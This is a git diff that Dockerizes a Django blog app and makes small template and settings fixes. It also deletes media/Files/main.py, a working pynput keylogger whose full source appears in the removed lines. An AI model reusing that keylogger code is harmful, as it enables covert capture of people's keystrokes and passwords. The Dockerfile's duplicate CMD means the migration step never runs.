diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 00000000..811e08eb --- /dev/null +++ b/.dockerignore @@ -0,0 +1,54 @@ + +.Screenshots/ + +# Django-related files and directories +*.pyc +*.pyo +__pycache__/ +*.egg-info/ +*.pyc +*.swp +*.swo +*.sqlite3 + +# Static files +/staticfiles/ +static/ + +# Media files +/media/ + +# Environment variables and sensitive information +.env +.env.* + +# IDE and editor files +.vscode/ +.idea/ +*.sublime* +*.swp + +# Log files +*.log +logs/ + +# Dependency directories +venv/ +env/ +pipenv/ +.venv/ + +# Compiled Python files +*.pyc +*.pyo + +# Other build-related files +Dockerfile +docker-compose.yml + +# Ignore everything else except the required files +* +!.dockerignore +!requirements.txt +!manage.py +!django_web_app/ diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..e9363a3b --- /dev/null +++ b/.gitignore @@ -0,0 +1,52 @@ +# Django-related files and directories +*.pyc +*.pyo +__pycache__/ +*.egg-info/ +*.pyc +*.swp +*.swo +*.sqlite3 + +# Static files +/staticfiles/ +static/ + +# Media files +/media/ + +# Environment variables and sensitive information +.env +.env.* + +# IDE and editor files +.vscode/ +.idea/ +*.sublime* +*.swp + +# Compiled files +*.pyc +*.pyo + +# Log files +*.log +logs/ + +# Dependency directories +venv/ +env/ +pipenv/ +.venv/ + +# Compiled Python files +*.pyc +*.pyo + +# macOS-specific files +.DS_Store + +# Windows-specific files +Thumbs.db + +#Screenshots diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000..de694496 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,24 @@ +# Use an official Python runtime as the base image +FROM python:3.9 + +# Set the working directory in the container +WORKDIR /app + +# Copy the requirements file to the working directory + +COPY ./requirements.txt . + +COPY ./django_web_app /app/django_web_app + +# Install the Python dependencies +RUN pip install --no-cache-dir -r requirements.txt + +# Copy the Django project code to the working directory +WORKDIR /app/django_web_app +# Expose the port on which your Django application will run (if applicable) +EXPOSE 8000 + +# Run the Django development server +CMD ["python", "manage.py", "migrate"] +CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"] + diff --git a/README.md b/README.md index 7aa62188..a747a313 100644 --- a/README.md +++ b/README.md @@ -54,6 +54,13 @@ This project was done by me as a assignment for an internship. python django_web_app/manage.py runserver In your web browser enter the address : http://localhost:8000 or http://127.0.0.1:8000/ + + <h2>Docker Setup :</h2> + + docker build -t image-name . <br> + docker run -d -p 8080:8000 image-name + + Hit the browser with http://localhost:8000 or http://127.0.0.1:8000/ # Working: [](https://youtu.be/qIK-vfTig6c) diff --git a/django_web_app/blog/templates/blog/base.html b/django_web_app/blog/templates/blog/base.html index c0cb7cf7..3017ac3e 100644 --- a/django_web_app/blog/templates/blog/base.html +++ b/django_web_app/blog/templates/blog/base.html @@ -1,4 +1,4 @@ -{% load staticfiles %} +{% load static %} <!doctype html> <html lang="en"> <head> diff --git a/django_web_app/db.sqlite3 b/django_web_app/db.sqlite3 index 6b6fab1d..f8663195 100644 Binary files a/django_web_app/db.sqlite3 and b/django_web_app/db.sqlite3 differ diff --git a/django_web_app/django_web_app/settings.py b/django_web_app/django_web_app/settings.py index cfaf5b2e..518f832a 100644 --- a/django_web_app/django_web_app/settings.py +++ b/django_web_app/django_web_app/settings.py @@ -15,7 +15,7 @@ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) - +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ diff --git a/django_web_app/media/Files/main.py b/django_web_app/media/Files/main.py deleted file mode 100644 index 0313d8c3..00000000 --- a/django_web_app/media/Files/main.py +++ /dev/null @@ -1,52 +0,0 @@ -# Keylogger by Mahesh Sawant. - -import pynput - -from pynput.keyboard import Key,Listener - -count = 0 -keys = [] - - -def on_press(key): - global keys, count - - keys.append(key) - count+=1 - print("{0} pressed".format(key)) - - if count >= 1: - count = 0 - write_file(keys) - keys = [] - - -def write_file(keys): - with open("log.txt","a") as f: - for key in keys: - k=str(key).replace("'","") - if k.find("backspace") > 0: - f.write("Backspace_key ") - elif k.find("enter") > 0: - f.write('\n') - elif k.find("shift") > 0: - f.write("Shift_key ") - elif k.find("space") > 0: - f.write(" ") - elif k.find("caps_lock") >0 : - f.write("caps_Lock_key ") - elif k.find("Key"): - f.write(k) - - -def on_release(key): - global exit - if key == Key.esc: - exit += 1 - if exit == 5 : - return False - -exit = 0 -with Listener(on_press=on_press, on_release=on_release) as listener: - listener.join() - diff --git a/django_web_app/users/templates/users/login.html b/django_web_app/users/templates/users/login.html index 11195a7b..99829968 100644 --- a/django_web_app/users/templates/users/login.html +++ b/django_web_app/users/templates/users/login.html @@ -6,7 +6,7 @@ {% csrf_token %} <fieldset class="form-group"> <legend class="border-bottom mb-4">Log In</legend> - {{ form|crispy }} + {{ form }} </fieldset> <div class="form-group"> <button class="btn btn-outline-info" type="submit">Login</button> diff --git a/django_web_app/users/templates/users/register.html b/django_web_app/users/templates/users/register.html index 3c3df17f..4739267f 100644 --- a/django_web_app/users/templates/users/register.html +++ b/django_web_app/users/templates/users/register.html @@ -6,7 +6,7 @@ {% csrf_token %} <fieldset class="form-group"> <legend class="border-bottom mb-4">Join Today</legend> - {{ form|crispy }} + {{ form }} </fieldset> <div class="form-group"> <button class="btn btn-outline-info" type="submit">Sign Up</button> diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 00000000..f688ef13 Binary files /dev/null and b/requirements.txt differ